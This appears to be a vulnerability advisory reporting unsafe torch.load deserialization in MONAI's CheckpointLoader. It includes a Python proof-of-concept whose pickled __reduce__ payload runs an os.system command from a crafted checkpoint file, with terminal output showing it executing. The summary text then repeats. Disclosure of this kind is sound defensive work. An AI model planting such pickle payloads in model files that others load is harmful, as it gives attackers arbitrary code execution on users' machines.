Summary
In model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.
This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.
Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.
The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.
import os
import tempfile
import json
import torch
from pathlib import Path
class MaliciousPayload:
def __reduce__(self):
return (os.system, ('touch /tmp/hacker2.txt',))
def test_checkpoint_loader_attack():
temp_dir = Path(tempfile.mkdtemp())
checkpoint_file = temp_dir / "malicious_checkpoint.pt"
malicious_checkpoint = {
'model_state_dict': MaliciousPayload(),
'optimizer_state_dict': {},
'epoch': 100
}
torch.save(malicious_checkpoint, checkpoint_file)
from monai.handlers import CheckpointLoader
import torch.nn as nn
model = nn.Linear(10, 1)
loader = CheckpointLoader(
load_path=str(checkpoint_file),
load_dict={"model": model}
)
class MockEngine:
def __init__(self):
self.state = type('State', (), {})()
self.state.max_epochs = None
self.state.epoch = 0
engine = MockEngine()
loader(engine)
proof_file = "/tmp/hacker2.txt"
if os.path.exists(proof_file):
print("Succes")
#os.remove(proof_file)
return True
else:
print("False")
return False
if __name__ == "__main__":
success = test_checkpoint_loader_attack()
Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log checkpoint_pwned.txt hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi3_u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py
Traceback (most recent call last):
File "/root/autodl-tmp/mmm/p2.py", line 61, in <module>
success = test_checkpoint_loader_attack()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/autodl-tmp/mmm/p2.py", line 48, in test_checkpoint_loader_attack
loader(engine)
^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py", line 146, in __call__
Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)
File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 624, in load_objects
_tree_apply2(_load_object, to_load, checkpoint_obj)
File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 209, in _tree_apply2
_tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])
File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 216, in _tree_apply2
return func(x, y)
^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 613, in _load_object
obj.load_state_dict(chkpt_obj, **kwargs)
File "/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py", line 2581, in load_state_dict
raise RuntimeError(
RuntimeError: Error(s) in loading state_dict for Linear:
Missing key(s) in state_dict: "weight", "bias".
Unexpected key(s) in state_dict: "model_state_dict", "optimizer_state_dict", "epoch".
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log checkpoint_pwned.txt hacker1.txt hacker2.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi02txakb tmpi3_u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa
Impact
Leading to arbitrary command execution
Fix suggestion
Use a safe method to load, or force weights_only=True
References
h3rrr Reporter
Summary
In
model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True)in monai/bundle/scripts.py ,weights_only=Trueis loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.
Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.
The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.
Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed.
Impact
Leading to arbitrary command execution
Fix suggestion
Use a safe method to load, or force weights_only=True
References